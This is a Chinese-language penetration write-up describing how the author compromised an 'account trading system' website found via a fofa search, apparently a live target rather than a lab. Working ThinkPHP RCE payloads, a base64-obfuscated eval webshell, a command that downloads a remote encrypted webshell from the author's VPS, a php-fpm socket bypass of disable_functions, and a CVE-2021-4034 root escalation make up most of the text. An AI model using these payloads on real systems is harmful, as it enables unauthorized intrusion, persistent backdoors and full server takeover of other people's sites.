账户交易系统2

前言

练练手

Getshell

fofa:"账户交易系统"

发现为thinkphp的站点

存在rce,php版本5.6

尝试直接写马:

s=file_put_contents('test.php','<?=echomd5(1);')&_method=__construct&method=POST&filter[]=assert

发现无法写入,怀疑存在关键字过滤,查看当前路径文件

s= var_dump(scandir('./'))&_method=__construct&method=POST&filter[]=assert

发现日志目录路径,尝试文件包含日志拿shell,发现日志内容全部被sql相关信息刷屏,故放弃

尝试bypass关键字,利用base64编码+php短标签进行绕过

s=file_put_contents('2.txt',base64_decode('PHNjcmlwdCBsYW5ndWFnZT0icGhwIj5AZXZhbCgkX1BPU1RbYV0pO2VjaG8gbWQ1KDEpOzwvc2NyaXB0Pg=='))&_method=__construct&method=POST&filter[]=assert

尝试文件包含

s=2.txt&_method=__construct&method=POST&filter[]=think\__include_file&a=phpinfo();

尝试蚁剑连接,果然没加密流量连接失败,掏出rsa加密马或者随机时间马

上传到vps,下载远程马

s=copy('http://xxx/rsa.php','3.txt')&_method=__construct&method=POST&filter[]=assert

添加信息进行文件包含

s=2.txt&_method=__construct&method=POST&filter[]=think\__include_file&密码

抓包看一下流量

在连接时发现了坑点,这几个参数post时参数顺序不一样竟然无法执行命令,即使更改蚁剑的body顺序也无济于事,所以蚁剑通过代理到bp进而匹配替换

这样不添加body也可以进行蚁剑操作

后面操作又出问题,修改文件时,顺序又错了,放弃蚁剑,掏出哥斯拉,直接左边追加数据,巨方便

流量包也正确

Bypass_disable

翻找文件,宝塔面板

寻找php-fpm相关文件 /www/server/php/56/etc/php-fpm.conf

Listen是在/tmp下的cgi
攻击tcp模式的方式显然不行,但是我们已经知道fpm 的 sock 文件的绝对路径。直接去交互他,或者用 unix:// 套接字的方式依然可行

填上fpm地址,执行了system

提权

反弹shell

准备提权 CVE-2021-4034,将编译好的提权文件上传执行发现如下问题

解决办法

find / -name cc1
export PATH=$PATH:/usr/libexec/gcc/x86_64-redhat-linux/4.8.2/

提权成功

参考

Disable_functions绕过整合 - one-seven - 博客园 (cnblogs.com)

蚁剑流量分析及改造 - FreeBuf网络安全行业门户

奇安信攻防社区-Thinkphp5-rce-过宝塔小思路 (butian.net)

渗透中的后门利用 (qq.com)